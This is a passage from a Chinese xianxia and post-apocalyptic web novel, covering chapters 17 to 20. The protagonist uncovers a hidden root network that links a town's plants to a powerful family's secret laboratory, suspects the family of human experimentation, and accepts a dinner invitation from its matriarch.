正当他收回思绪,打算再好好看看这漫天飞雪——看那些六角冰晶打着旋儿落下,把院角的木架、墙头的瓦片都染成一片莹白时。 一片格外轻盈的雪花却像找准了目标似的,从纷飞的雪絮里钻出来,慢悠悠飘进他半敞的衣领,恰好贴在脖颈那片温热的皮肤上。 “嘶——”突如其来的冰凉瞬间窜遍全身,像是有根细巧的冰针轻轻刺了一下,张玉汝下意识地缩了缩脖子,肩膀也跟着微微一颤,连呼吸都顿了半拍,一个轻浅的寒颤从脊背滑过。 可这寒颤还没完全褪去,他的脑子里却像被什么东西猛地撞了一下,一道清亮的灵光毫无预兆地闪了出来,像是迷雾里突然亮起的灯,一下子照透了之前没在意的细节。 他原本望着雪景的眼神骤然一凝,眉头也轻轻蹙了起来,心里头突然冒出一个从未想过的问题——云溪镇的植物,是不是有些太多了? 他猛地回想起来:之前在院子里看到的,不只是几丛绿植,而是爬满整面墙的藤蔓、挤得花台满溢的奇花,连墙角砖缝里都钻出了带着荧光的小草。 走在镇上的街道时,两侧的古树枝桠交错,几乎遮天蔽日,树下还长着成片的低矮灌木,连石板路的缝隙里都有青苔和细小的蕨类;甚至远远望过后山,那片林子密得连阳光都难透进去,枝叶层层叠叠,像是一片望不到边的绿海。 之前只觉得这是云溪镇环境好,可此刻被那片雪花的凉意一激,他才后知后觉地意识到不对劲——就算异能量能滋养植物,就算云溪镇是老安全区,可这么多植物,这么密的分布,甚至连寻常该荒芜的角落都长满了生命,会不会……太不寻常了? 怀庆府因为怕异化生物才禁了绿植,可云溪镇的植物,似乎多到了超出“自然生长”的范畴。 这个念头一冒出来,张玉汝原本因雪景而放松的心情,瞬间又沉了下去,目光重新落在院角那些瑟缩的绿植上,眼神里多了几分探究的锐利。 这个念头刚冒出来,张玉汝的思绪便像被点燃的引线般飞速蔓延——植物?云溪镇要这么多植物做什么?难道真的只是为了装点庭院、营造美观的景致吗? 他盯着院角那丛被雪压得微微倾斜的灌木,眉头拧得更紧了。 柳家是什么样的家族,这些天他多少看在眼里:无论是护卫队的严谨调度,还是与赵家合作时的步步算计,处处透着对利益的精准把控,这样一个以家族发展为核心、凡事都要计较成本与回报的家族,会平白无故耗费资源,只为了打造一片“好看”的绿植景观? 这实在太不合常理,他根本无法相信。 他清楚记得,如今的世界里,并非没有抑制植物异化的方法——有的需要定期喷洒特制的稳定药剂,那药剂的原料里掺着稀缺的“凝晶粉”,一小瓶就要抵得上普通人家半个月的用度。 有的则要在土壤里埋设能量缓冲装置,通过缓慢释放温和的能量,中和土壤中过剩的异能量,可那装置的锻造工艺复杂,维护起来更是要持续投入人力物力。 无论哪种方法,都意味着源源不断的资源消耗,绝非一笔小数目。 更何况,放眼如今的聚居地,大部分地方对植物都是“避之不及”——毕竟异能量无处不在,植物一旦异化,轻则疯长堵塞道路,重则生出带毒的尖刺、释放腐蚀性的汁液,甚至会主动缠绕靠近的生物,成为潜在的威胁。 就连作为豫州首府的开封府,为了安全与管理,城区内也只在核心公园划定了小块区域,集中种植经过严格筛选、不易异化的植物,数量和分布都有着严格限制,远远算不上“繁茂”。 可云溪镇呢?不仅家家户户的庭院里种满绿植,连街道两侧、后山脚下,甚至废弃的旧屋墙角,都能看到植物生长的痕迹,这般规模,早已超出了“合理绿化”的范畴,一个小小的云溪镇,真的需要这么多绿植吗? 更让他疑惑的是,就算柳家真的有某种特殊需求,需要维持大量植物的存在,可为何他前几日跟着护卫队巡逻时,会看到满载着盆栽与幼苗的马车,从镇外源源不断地运进柳家宅邸? 那些马车上的植物种类繁杂,有的带着未适应新环境的蔫态,显然是从其他地方长途转运而来。 若只是维持现有绿植,顶多是补充损耗,何需这般频繁地从外地调运? 是为了药剂的原材料? 这个念头刚冒出来,就被张玉汝自己否定了。 他曾偶然听柳家的药师提起过,药剂生产对原材料的要求极为严苛——不仅要保证品种纯正,更要控制生长过程中的异能量吸收量、日照时长、土壤湿度,稍有偏差,药材的药性就会大打折扣,甚至产生毒性。 因此,正规的药剂原材料,都会由专用的药田集中种植,药田里会布设精准的能量调控阵,还有专人定期记录生长数据,目的就是确保每一批药材的品质稳定,这是大规模生产药剂的核心前提。 可云溪镇这些植物呢?它们自由生长在庭院、路边,有的长在光照充足的墙头,有的挤在背阴的墙角,有的扎根在肥沃的花土中,有的却从贫瘠的砖缝里钻出来,形态各异,长势参差不齐,连最基本的生长环境都无法统一,又何谈“品质稳定”? 显然,它们绝不可能成为药剂生产的原材料。 更何况,柳家本身就拥有两片专业的药田,分别种植着制作疗伤药剂的“青灵草”和制作能量补充剂的“紫蕊花”,药田的规模足以满足家族日常所需。 除此之外,柳家与赵家的合作协议里,也明确包含了药材种植与供应的条款——赵家负责提供适合药材生长的特殊土壤,柳家则提供种植技术,双方按比例分配产出。 既有自有的药田,又有稳定的合作渠道,柳家根本没必要再通过零散种植、随意调运的方式获取药材,这完全是多此一举。 那么,会不会是柳家某个高层一时兴起,单纯喜欢绿植,才不计成本地投入资源? 这个猜测同样站不住脚。 张玉汝微微摇头,目光扫过远处柳家宅邸那片规整的绿植区——个体或许会因一时兴趣,做些无关利益的事情,比如有人会花重金收藏一件无用却喜欢的摆件,有人会为了爱好耗费时间精力。 可一个家族、一个组织,尤其是柳家这种正处于上升期的家族,每一笔资源投入都要服务于家族发展:要么是为了提升实力,要么是为了拓展人脉,要么是为了积累财富。 像这样持续投入大量人力、物力、财力,去做一件对家族实力提升、利益获取毫无帮助的事情,几乎是不可能的。 柳家的族老们不会同意,负责家族财务的人更不会允许,这种不符合家族利益的“兴趣”,根本没有生存的空间。 一个个猜测被提出,又被他逐一推翻,张玉汝站在雪地里,寒意似乎都透过皮肤渗进了思绪里。 云溪镇的植物,就像一团裹着雪的迷雾,看似寻常,可越琢磨,越觉得背后藏着不对劲的地方,而这不对劲的背后,或许就与他一直追查的、柳家的秘密试验有关。 第 18章 线索 尽管张玉汝依旧没能完全捋清,这些源源不断运进云溪镇的植物,对柳家而言究竟承载着怎样的作用——是试验所需的介质?还是某种能量转化的载体?亦或是用来掩盖其他秘密的幌子? 答案尚在迷雾之中,但他心里清楚,这份“异常”本身,就已经是一条至关重要的线索。 就像雪地中突然出现的一串陌生脚印,即便暂时不知道脚印的主人是谁,循着脚印的方向走下去,总能离真相更近一步。 他始终记得早年经历教会他的道理:凡是人为做过的事,就绝不会真正“无痕”。 哪怕策划者费尽心机掩盖,用层层伪装包裹真相,那些刻意的掩饰、反常的举动,反而会像黑布上的白线般格外显眼——为了隐藏某件东西而特意垒起的高墙,墙本身就是线索;为了抹去某段痕迹而反复清扫的地面,过于干净的角落反而会引人怀疑。 柳家这般不计成本地维持海量绿植,又频繁从外地调运幼苗,这份反常的投入,绝不会是无意义的举动,只要顺着这条线往下查,总能找到隐藏在背后的目的。 而张玉汝向来不是只停留在“想”的人,行动力素来是他的优势。此刻心里有了明确的方向,先前因找不到头绪而略显沉闷的情绪一扫而空,取而代之的是一种目标清晰的笃定。 他抬手掸了掸肩头的落雪,指尖的冰凉让他愈发清醒,转身便朝着小雪练习的方向走去——行动之前,他没忘记要跟这个带来灵感的小姑娘说句话。 小雪刚收了冰霜长剑,青色的冰晶在她掌心渐渐消融,化作几缕微凉的水汽。见张玉汝走过来,她眼底闪过一丝意外,随即露出乖巧的笑意:“姜大哥,你也来训练吗?” “我来看看你,”张玉汝笑着点头,目光落在她还带着薄霜的发梢上,语气里带着真切的赞许,“刚看你练剑,进步可比上次见着的时候快多了,那套冰霜战甲的凝结速度,还有剑招的流畅度,都比之前稳了不少,看来这些天没少下功夫。” 听到夸赞,小雪的脸颊微微泛红,有些不好意思地挠了挠头:“就是想着多练练,不然总怕拖大家后腿。” “有心就好,”张玉汝拍了拍她的肩膀,语气轻松,“继续加油,你的天赋本就好,再踏实练下去,以后肯定能成大器。” 简单的几句夸赞,让小雪眼底的笑意更浓了,连带着周身的寒气似乎都柔和了几分。 张玉汝看着她重新拿起冰晶碎片,准备继续练习的模样,心里也多了几分感慨——若不是刚才看她练剑时走神留意到雪景,又因那片雪花的凉意触发了思绪,恐怕还想不到“绿植异常”这条线索。 这般说来,还真要感谢这个努力的小姑娘。 不过此刻不是多聊的时候,线索虽有了,还需尽快落实。 张玉汝又叮嘱了一句“注意休息,别练太久伤了元气”,便转身离开了小院。 他的身影很快融入院外的雪景里,脚步轻快却不失沉稳——接下来,他要先去查清楚,那些运进柳家的植物,究竟是从哪里来的;再弄明白,这些植物最终会被送往柳家的哪个角落。 每一步都要稳扎稳打,才能在不打草惊蛇的情况下,揭开柳家隐藏的秘密。 尽管线索已经清晰地摆在眼前,张玉汝却没有急于一头扎进去,非要立刻查个水落石出。 相反,他特意放缓了脚步,在正式启动调查前,花了不少时间做足准备。 他先是重新梳理了一遍近几日观察到的柳家动向,把护卫队换班的时间、物资运输的路线、宅邸各区域的守卫强度,一一在心里记牢。 又悄悄检查了自己常用的简易装备,将藏在袖口的短刃、能暂时屏蔽气息的“敛息散”,都仔细清点了一遍,确保关键时刻能用得上。 他心里很清楚,柳家耗费如此多资源维持海量绿植,背后必然藏着与家族崛起息息相关的核心机密。 这样的秘密,柳家绝不会轻易暴露,其防护措施定然比寻常区域严密得多——或许在运输植物的车队经过的路线上,就藏着擅长追踪的暗哨;或许在接收植物的仓库周围,布下了能感知陌生气息的能量阵。 甚至可能在负责管理绿植的人员里,混杂着柳家的核心亲信,稍有异常便会立刻上报。 张玉汝从不觉得自己比别人聪明多少,更不会把对手当成毫无察觉的蠢货。 他不过是个刚到云溪镇两个多月的外来者,仅凭日常观察就能发现绿植的异常,那些在云溪镇盘踞多年、与柳家明争暗斗的其他家族,难道真的会对此视而不见? 要知道,如今的聚居地之间,各家族为了争夺资源、抢占先机,早已把“利益”二字刻进了骨子里。 所谓的“君子作风”,在家族存续与发展面前,根本就是一个笑话——只要能拿到对手的机密,无论是派人渗透、暗中监视,还是买通眼线,各种手段都会无所不用其极。 柳家既然敢如此大规模地运作植物,必然已经想到了会引来其他势力的窥探,其防护网只会比他预想的更严密。 他这般谨慎准备,最核心的目的,便是为了更好地隐藏自身。 若是换作以前,他孤身一人的时候,行事或许还能随性些——哪怕调查时手段稍显粗暴,不小心暴露了踪迹,以他的实力,也有底气应对:柳家的护卫队虽强,却未必能拦得住他。 就算对方布下了层层包围,只要没有大宗师级别的强者亲自坐镇阻拦,他总能找到突围的缺口,从容逃出生天。 可现在不同了,他的身边多了小雪。 那个总是捧着冰霜碎片认真练习、会因为一句夸赞而脸红的小姑娘,成了他不能忽视的牵挂。 若是在调查中暴露了身份,以他的能力,自保不成问题,可小雪呢? 她的冰霜能力虽有天赋,却还未完全成熟,面对柳家的围剿,根本没有反抗之力;更何况,柳家若真要追责,很可能会拿小雪作为要挟,逼他妥协。 一想到小雪可能因此陷入危险,张玉汝便不敢有半分侥幸。 自从心里多了这份关乎他人性命的责任,张玉汝行事便再也不能像从前那般随心所欲了。 每一个决定,都要先考虑到小雪的安危;每一步计划,都要预留出保护她的余地。 他不再只盯着“尽快找到真相”这一个目标,而是把“如何在不暴露的前提下查清线索”“如何确保小雪不受波及”,都纳入了考量范围。 这份沉甸甸的责任,让他的脚步变得更加沉稳,也让他的计划变得更加周密。 况且,即便暂且抛开小雪的安危不提,张玉汝也深知自己绝不能有半分大意。 这些天的经历早已印证了一个事实——他赖以观察细微的「造化之眼」,并非无所不能的神技。 这双眼睛的确能让他捕捉到寻常人难以察觉的蛛丝马迹:比如空气中异能量流动时泛起的淡金色纹路,比如植物叶片在吸收养分时脉络里细微的搏动,甚至能看清土壤深处根系缓慢生长的轨迹。 可这份“看见”的能力,终究要建立在他对事物“原本属性”的认知之上。 若是他对某样东西的本质一无所知,即便「造化之眼」将所有变化都清晰呈现在眼前,他也如同对着一张无字地图,无法从中读出任何异常。 直到意识到云溪镇的植物可能存在问题时,张玉汝才后知后觉地发现,自己早已犯了一个想当然的错误。 云溪镇的植物,大多是他从未见过的品类。 有的灌木叶片呈螺旋状卷曲,叶背上布满了针尖大小的银色圆点,到了傍晚还会透出微弱的蓝光;有的草本植物茎秆里流淌着淡紫色的汁液,触碰后指尖会残留一丝冰凉的麻痹感;还有的藤蔓会顺着异能量的流向生长,藤蔓上的花苞会随着能量波动开合。 这些植物与他从前在怀庆府、甚至在开封府见到的植被,有着天差地别的形态与特性。 正因为这份“陌生”,过去这些天里,即便「造化之眼」清晰地映出它们的变化——比如某株灌木的叶片圆点数量从七颗增至九颗,比如某段藤蔓的生长速度比前一日快了半寸,他也只当是这些特殊植物的“正常生长规律”。 毕竟在他的认知里,万事万物本就处于不停的变化之中,而他初见这些植物时,它们便是这般奇特的模样;之后所有的细微改动,又都建立在这个“初始形态”之上,没有任何参照物能让他判断“这是否反常”。 这大概就是「造化之眼」最明显的弱点了:它能看见“变化”,却无法判断“变化是否正常”。 若是某样事物在张玉汝接触之前,就已经被人为改造、或是处于某种非自然的特殊状态,那么之后即便再发生细微的变动,只要没有超出“初始特殊状态”的范畴,就很难让他生出警惕。 就像一个人从未见过真正的苹果,第一次见到的便是被染成蓝色的苹果,那么之后这颗苹果从浅蓝变成深蓝,他也只会觉得“苹果本就该是蓝色,颜色变深只是正常现象”,绝不会想到“苹果原本该是红色”。 当然,这个弱点并非无法弥补。 它更像是一块需要用“学识”与“经历”来填充的空白——随着张玉汝见过的植物越多、了解的物种特性越广,「造化之眼」捕捉到的变化,就能与他脑海中的“正常标准”形成对比,那些异常之处自然会无所遁形。 比如他从前熟悉的“青灵草”,正常情况下叶片边缘该是光滑的,若是「造化之眼」看到叶片边缘出现锯齿状凸起,他立刻就能判断“这株青灵草大概率被异能量污染了”。 可面对云溪镇的陌生灌木,他没有任何“正常形态”的参照,自然无法察觉异常。 简单来说,张玉汝的见识越广博,经历越丰富,这种“因陌生而忽略异常”的情况就会越少。 反之,那些他从未接触过、从未了解过的事物,就像是藏在暗处的猎手,有机会凭借他认知中的“空白”,对他造成“初见杀”的效果。 这不是「造化之眼」失效,而是他的认知还未跟上眼睛的“看见”,无法将“变化”转化为“警示”。 当然,即便存在这样的认知局限,「造化之眼」带给张玉汝的帮助,依旧是无可替代的。 它就像一柄藏在暗处的精密标尺,能帮他丈量出寻常人看不见的“异常轮廓”。 张玉汝自己也说不清,这世间究竟有多少人选择了“变化之道”,又有多少人能像他这样,开发出「造化之眼」这类专注于观察细微的能力。 他只知道,从他离开怀庆府至今,走过的聚居地不算少,却从未听说过有第二个人拥有类似的能力。 想来即便真有,数量也必然极少,少到足以让这种能力始终处于“小众”甚至“隐秘”的范畴。 也正因为这份“罕见”,绝大多数势力与能力者,都很难对「造化之眼」产生针对性的防范。 他们或许会防备有人偷听、有人潜入,会在明面上布下护卫、在暗处设下陷阱,却绝不会想到,会有人能透过层层表象,看见内里所发生的一切。 于是,他们越是想掩饰某些秘密,越是会在不经意间留下“反常的细节”——比如为了让植物根系更快生长而悄悄注入的特殊能量,比如为了运输不明物质而调整的土壤异能量浓度,这些在他们看来“天衣无缝”的操作,在「造化之眼」的注视下,反而成了清晰的“指引标记”。 为了摸清这些标记背后的关联,张玉汝足足耗费了一周的时间。 这一周里,他没有贸然靠近柳家的实验室与工厂,而是借着日常巡逻、院子闲逛的机会,一点点观察云溪镇不同区域的植物——从自家小院的藤蔓,到街道两侧的古树,再到柳家宅邸外围的灌木丛。 他用「造化之眼」细细追踪每一株植物根系的走向,记录它们吸收与释放的能量特征。 直到第五天傍晚,当他站在离柳家工厂不远的一片竹林前时,「造化之眼」终于捕捉到了关键的线索:竹林深处,有几株竹子的根系格外粗壮,它们没有像寻常根系那样向四周扩散,反而朝着同一个方向——柳家工厂的地底,呈网状蜿蜒延伸。 更奇特的是,这些根系的末梢,正源源不断地向地底输送着一种淡绿色的能量,而地底深处,又有一股带着金属光泽的暗灰色物质,顺着根系的缝隙,缓慢地渗进竹子的根茎里。 顺着这条线索往下追查,张玉汝终于理清了全貌:云溪镇的绝大多数植物,其根系都通过地底的土壤,与柳家的实验室、工厂建立了隐秘的联系。 这些根系就像无数条藏在地下的“管道”,一边将植物吸收的异能量、乃至自身合成的特殊物质,输送到实验室与工厂;另一边又从实验室、工厂接收某种经过处理的暗灰色物质,再通过根茎传递到枝叶各处,维系植物的“特殊生长状态”。 这样的联系,从地面上看,几乎没有任何痕迹——既看不到能量流动的光芒,也闻不到物质传递的气味,所有交换都发生在数米深的地底,被厚重的土壤与岩石掩盖。 即便张玉汝有「造化之眼」,也需要在同一区域持续观察数小时,才能通过根系细微的收缩与能量的微弱波动,捕捉到这隐秘的交换轨迹;若非他提前认定“植物有问题”,并针对性地追查根系动向,恐怕就算路过十次、百次,也只会把这当成植物的正常生长。 这些看似寻常的植物,根本不是用来装点环境的景观,而是柳家实验室与工厂的“地下能量网”和“物质传输通道”——柳家正是通过这些植物,在悄无声息地完成着某种实验所需的能量与物质循环。 第 19章 邀约 顺着那些数量反常、根系藏着秘密的植物往下追查,张玉汝像是握着一把打开暗室的钥匙,一点点摸清了柳家深埋在云溪镇地下的隐秘。 他常常在深夜借着夜色掩护,躲在柳家宅邸外围的古树后,运转「造化之眼」细细探查——那双眼能清晰映出植物根系在土壤深处织就的“能量网络”。 淡绿色的能量如同细密的溪流,顺着根茎的脉络缓缓流向实验室的方向,在地底汇聚成一道较粗的“能量河”,最终注入实验室墙体下埋设的暗槽。 而从工厂那边反哺回来的暗灰色物质,则像带着黏性的墨汁,沿着同样的根系通道,缓慢渗透进每一株植物的根茎,让叶片边缘隐隐泛起一层极淡的灰光。 不止是能量传输的脉络,他还从根系残留的物质痕迹里,捕捉到了更关键的信息:那些暗灰色物质中,混着一种带着荧光的细微颗粒,颗粒的能量波动与他前几日在云溪镇后山见到的“幽荧草”极为相似。 那是一种只在云溪镇后山阴湿岩缝里生长的植物,叶片呈半透明的淡蓝色,夜里会透出微弱的荧光,汁液带着淡淡的苦涩味。 结合这些痕迹与柳家近期频繁采购的药材清单,张玉汝不难推断出:柳家正在秘密研发一种新型能量药剂,而这种幽荧草的提取物,正是药剂的核心原料之一。 这些信息若是泄露出去,价值难以估量——无论是卖给与柳家在云溪镇明争暗斗的魏家,让魏家能针对性地破坏柳家的药剂研发。 还是传给雍州境内那些对新型能量药剂虎视眈眈的大家族,比如掌控着半数药材贸易的王家、擅长药剂改良的孙家,对方必然会给出一笔足以让普通人几辈子吃喝不愁的价钱。 新型能量药剂背后牵扯的,不仅是技术壁垒,更是能改变势力格局的资源掌控力——谁先掌握稳定的量产技术,谁就能在异兽袭扰日益频繁的当下,为自家护卫队提供更强的能量支持,进而抢占更多的生存空间。 可张玉汝捏着从植物根系上取下的荧光颗粒,指尖轻轻捻碎,眼神里没有半分对“财富”的觊觎。 他的注意力始终锁在最初的那个疑问上:就算这些植物能搭建地下能量网,为药剂研发输送能量、传递原料,能分担工厂提炼原料时的部分压力,也绝不足以解释柳家药剂研发速度的“反常”——这速度快得像是在违背常理。 他太清楚正常的药剂研发流程了:光是配方调试,就要反复试验几十上百次,从原料的配比、提炼的温度,到能量注入的强度,每一个参数都要精确到毫厘,稍有偏差,药剂要么失去效力,要么产生剧烈毒性。 后续的稳定性测试,更是要在不同环境、不同体质的测试对象身上验证,至少需要两三个月才能收集到足够的数据;最后到批量生产前的风险评估,还要模拟各种极端情况,确保药剂不会在实战中出现意外。 可柳家呢?从半个多月前有护卫队成员无意间透露“家族在研发新药剂”,到上周他捕捉到药剂半成品的能量波动,前后不过十几天,这速度简直像是跳过了所有关键环节,直接拿到了成品配方。 一种强烈的直觉在张玉汝心底翻涌:柳家一定在走“捷径”,而这条捷径,大概率是人体实验——而且是规模不小的人体实验。 只有用人体直接测试药效,才能跳过漫长的动物实验与计算机模拟分析,用最“粗暴”也最“高效”的方式,快速获取药剂的副作用反应、安全剂量阈值、能量吸收效率等关键数据。 毕竟动物的体质与人类差异太大,模拟分析又无法完全还原真实的人体反应,唯有活人实验,才能在最短时间内拿到最精准的研发数据,让研发周期大幅缩短。 他甚至能在脑海里勾勒出那些实验体的模样:可能是从云溪镇周边废弃聚居地掳来的流浪者,他们无家可归、无人牵挂,消失了也不会有人追查;也可能是走投无路的穷苦人,为了给家人换一口吃的,签下了“生死不论”的协议,成了柳家实验室里的“小白鼠”。 他们被关在不见天日的房间里,被迫喝下还未稳定的药剂,承受着能量冲击带来的剧痛,或是毒素蔓延时的灼烧感,而他们的反应数据,会被柳家的研究人员一一记录,变成推进药剂研发的“垫脚石”。 可即便他把云溪镇翻了个底朝天——从柳家宅邸外围的废弃仓库,到后山幽荧草生长的岩缝附近,再到镇上那些常年无人问津的地窖,甚至悄悄排查了柳家运输物资的每一辆马车,也没能找到任何直接证据。 既没有看到关押实验体的隐秘牢房,也没有找到记录实验数据的纸质文件或能量存储晶核,柳家像是把这部分痕迹彻底从云溪镇抹去了,藏得比药剂研发的核心流程还要深,深到让他连一丝线索都抓不住。 就在张玉汝的调查再次陷入僵局,甚至开始在心里盘算要不要冒险潜入柳家实验室的核心区域——哪怕那里大概率布满了能量陷阱与高阶护卫,也要试着寻找证据时,一个意外的机会突然砸到了他面前。 一天清晨,他刚结束晨练,正准备回屋洗漱,柳家负责传信的护卫便站在了小院门口,手里捧着一个精致的锦盒。 “姜护卫,这是家主柳玉容大人的亲笔邀请函,请您务必收下。” 护卫的语气恭敬,双手将锦盒递到他面前。 张玉汝接过锦盒,指尖触到盒面细腻的锦缎,能清晰摸到上面绣着的暗纹——是柳家标志性的青藤图案,藤蔓缠绕着长剑,每一片叶子的纹路都绣得极为精巧。 打开锦盒,里面放着一封折叠整齐的信纸,信纸边缘烫着淡金色的花纹,质地是极为少见的竹浆纸,摸起来柔软却不失挺括。 信纸上方的封蜡呈深绿色,中间印着柳家的家族徽记,蜡质细腻,没有一丝裂痕,显然是精心封缄的。 他展开信纸,一行行娟秀却不失力道的字迹映入眼帘:“闻柳泽川防区近月屡创佳绩,异兽袭扰率大降,护卫队战力显著提升,皆赖姜先生之力。玉容深感钦佩,愿备薄茶,与先生一叙,望先生赏光。” 字迹笔画流畅,起笔收笔都透着沉稳,没有半分浮躁之气,一看便知写信人绝非寻常之辈。 张玉汝捏着信纸的手指微微用力,指节泛出淡淡的白。 柳玉容……他在心里默念这个名字,眼底掠过一丝警惕。 他早就从柳家护卫的闲谈中听过这位家主的传闻:她是柳家真正的掌权者,今年不过三十五岁,却以雷霆手段整合了家族内部的派系纷争,还硬生生从赵家手里抢下了三成的异兽材料贸易。 平日里她深居简出,住在柳家宅邸最深处的“青藤院”,除了家族核心事务决策、与其他大家族的重要合作谈判,极少亲自出面,更别说主动邀请一个外来的护卫。 他不过是个两个月前才来到云溪镇的异乡人,靠着懂些训练护卫的方法、能在异兽袭扰时带头作战,才在柳泽川的防区里站稳脚跟,这点本事在高手如云的柳家,顶多算是“有点用”,怎么就突然入了柳玉容的眼,还值得她亲笔写邀请函? 这里面的缘由,实在透着古怪。 可张玉汝盯着信纸上的字迹看了片刻,眉头渐渐舒展。 他向来不是喜欢钻牛角尖的人,正所谓既来之则安之。 柳玉容的真实目的是什么?是觉得他有利用价值,想拉拢他加入柳家核心?还是察觉到了他的调查,想设个陷阱试探他?亦或是单纯想看看,这个能让护卫队战力提升的“外人”到底有几斤几两? 这些疑问暂时没有答案,但这封邀请函本身,却像是一扇突然在他面前打开的门。 之前他苦于找不到切入柳家核心的机会,只能在外围打转;如今柳玉容主动邀请他去“青藤院”见面,不管等待他的是陷阱还是机遇,这都是一个能近距离接触柳家核心、或许能找到人体实验证据的机会。 他把信纸重新折好,放回锦盒,抬头对传信的护卫道:“请回复柳家主,在下届时必到。”声音平静,听不出丝毫波澜。 柳玉容的邀请并非只给了张玉汝一人,柳泽川也收到了同样的传信。 毕竟张玉汝名义上是柳泽川一手发掘的人才,如今在他的防区里协助训练护卫、应对异兽,若是柳玉容直接绕过柳泽川单独召见张玉汝,难免会落人口实,显得对柳泽川这位嫡系子弟不够尊重,于家族内部的体面终究不太好看。 约定见面的那天清晨,柳泽川早早便带着随从候在张玉汝居住的小院外。 张玉汝推开门时,正见柳泽川穿着一身月白色的锦袍,手捏着腰间的玉佩,在门口来回踱着步,脸上带着几分难掩的局促。 这一次,张玉汝没有像往常处理护卫队事务那样启用分身,而是选择本体亲自前往——柳玉容既是柳家掌权者,又是主动发出邀请的人,他以本体赴约能更敏锐地感知周遭的动静,避免分身可能出现的感知偏差。 两人一同登上柳家派来的马车,车厢宽敞雅致,内壁铺着柔软的锦缎,角落里燃着一小炉安神的熏香,淡淡的香气弥漫在空气中,却丝毫没能缓解柳泽川的紧张。 马车缓缓驶动,车轮碾过青石板路发出平稳的“轱辘”声,柳泽川终于忍不住开口,闲聊起有关柳玉容的事情,语气里带着几分刻意的轻松,却藏不住一丝不易察觉的僵硬。 “姜兄,你这还是头一回去青藤院吧?家主她……平日里极少见外人的。” 柳泽川端起车厢里的茶杯,指尖微微有些发凉,茶水晃了晃,溅出几滴在杯沿上。 张玉汝点头应着,目光却悄悄落在柳泽川的脸上——他的眼神闪烁,说起“家主”二字时,嘴角下意识地抿了抿,带着几分不易察觉的轻蔑,可话音落下后,又会不自觉地攥紧手指,指尖泛出淡淡的白,那份轻蔑里又掺着明显的畏惧。 这种矛盾的态度,像极了既不服气却又无可奈何的模样。 张玉汝心里大概能猜到其中的缘由。 他此前从护卫队的老人口中听过些柳家的旧事:柳玉容并非上一任家主的直系子女,而是旁支血脉,论起血缘关系,比柳泽川这些嫡系子弟要远上不少。 当年她上位时,柳家不少嫡系子弟都站出来反对,觉得她一个“外支”女子,没资格执掌家族大权,甚至有人暗中联合起来,想把她从家主之位上拉下来。 可柳玉容手段强硬,先是以“处理异兽袭扰不力”为由,撤了几位反对者的防区管理权,又借着与赵家的贸易谈判,将家族资源重新整合,把核心权力牢牢握在手中。 那些曾经质疑过她的嫡系子弟,要么被调离重要岗位,要么被迫交出手中的资源,渐渐成了家族里的“边缘人”。 柳泽川作为柳家正儿八经的嫡系血脉,骨子里本就带着对“旁支掌权”的不服气,加上家族里那些嫡系长辈的遭遇,他对柳玉容自然很难生出什么好感,言谈间难免会流露出几分轻蔑。 可与此同时,柳玉容上位后的雷霆手段,还有这些年把柳家打理得蒸蒸日上的实绩,又让他不得不心生畏惧——他很清楚,若是自己敢公然违逆柳玉容,下场绝不会比那些被打压的长辈好多少。 这般想着,张玉汝再看柳泽川时,便更能理解他的紧张了。 相比之下,张玉汝自己倒显得平静许多——他本就是局外人,与柳家没有血脉纠葛,也不贪图家族权力,只需专注于追查真相便好。 可柳泽川不同,他身处家族权力的漩涡之中,每一次与柳玉容见面,都像是一场无声的试探,既要表现出对家主的顺从,又要藏好心底的不服,稍有不慎,便可能引火烧身。 马车驶过一道雕刻着青藤花纹的拱门,速度渐渐慢了下来,车夫的声音从外面传来:“二位,青藤院到了。”柳泽川猛地站起身,整理了一下锦袍的褶皱,深吸了一口气,仿佛要给自己打气一般。 张玉汝也缓缓起身,目光透过车窗望向外面——那是一座被青藤环绕的小院,院门紧闭,门口站着两位气息沉稳的护卫,显然是柳玉容的贴身守卫。 一场未知的会面,即将开始。 第 20章 变脸 马车停稳,柳家护卫上前掀开帘子,一股混着青藤清香的风先吹了进来。 张玉汝——此刻该称他为“姜离”——率先迈步下车,他刻意将脊背压得微弯,让身形少了几分挺拔锐利,多了些三十多岁男子常见的沉稳感。 身上穿的是柳泽川送的藏青色锦袍,领口绣着低调的云纹,袖口挽到小臂,露出的手腕线条算不上粗壮,却透着常年锻炼的紧实。 张玉汝对自己的伪装没有做的太多,只借着轻微的肤色调整,让原本偏白皙的肤质多了些日晒后的浅麦色,眼角也用细微的能量波动压出两道淡纹,乍一看去,正是个履历丰富却不显张扬的中年护卫。 他刚站定,柳玉容便从院内迎了出来。她穿一身月白襦裙,外罩件淡青纱衫,纱衫下摆绣着细碎的藤叶纹,走动时如青藤拂动。 乌发松松挽成一个髻,只插了支羊脂玉簪,没有多余装饰,却衬得她面容愈发清丽。 只是那双眼睛极亮,瞳仁像浸在寒潭里的墨珠,看似温和,却藏着不易察觉的锐利,扫过两人时,带着一种不动声色的审视。 “柳某来迟,家主恕罪。”柳泽川连忙上前一步,微微躬身行礼,语气比在马车上更显恭敬,锦袍的下摆因动作微微晃动,露出腰间挂着的双鱼玉佩——那是柳家嫡系子弟的象征。 柳玉容抬手虚扶,声音清润如玉石相击:“泽川不必多礼,今日邀你们来,本就是家常叙话,不必拘着规矩。”她的目光转向张玉汝,嘴角勾起一抹浅淡的笑意,“这位便是姜离先生吧?久闻先生手段不凡,不仅把泽川防区的护卫队训得井井有条,上月异兽袭扰时,还亲手斩杀了头三阶‘裂地蜥’,这份本事,在云溪镇的护卫里可是少见。” 张玉汝微微躬身,刻意让声音比平日沉了几分,带着些中年人的沙哑:“家主过誉了。不过是些保命的粗浅功夫,能为柳家略尽绵薄之力,已是姜离的幸事。泽川公子信任,给了我施展的机会,真正该谢的,是公子才是。” 他一边说,一边不着痕迹地瞥了眼柳泽川,见对方眼底闪过一丝受用,便知这话说得恰到好处——既捧了柳玉容,也没忘了给柳泽川留面子。 柳泽川果然松了口气,连忙接话:“先生这话就见外了!若不是先生教的那套‘协同御敌’的法子,护卫队哪能这么快出成效?家主您是不知道,前几日巡查,连赵家的人都问我,是不是请了什么高人来指点呢!” 他说这话时,语气里带着几分得意,似乎能在柳玉容面前提这些,是件长脸的事。 柳玉容听着,笑意深了些,抬手引两人往院内走:“我自然是知道的。泽川这段时间的长进,家族里有目共睹;姜离先生的能力,更是让我刮目相看。” 院内铺着青石板路,两侧种着些叶片宽大的植物,叶片上还沾着晨露,阳光透过叶缝洒下来,在地上投下斑驳的光影。 她引着两人在院中的石桌旁坐下,侍女很快端上茶来,茶香清冽,是少见的“云雾茶”。 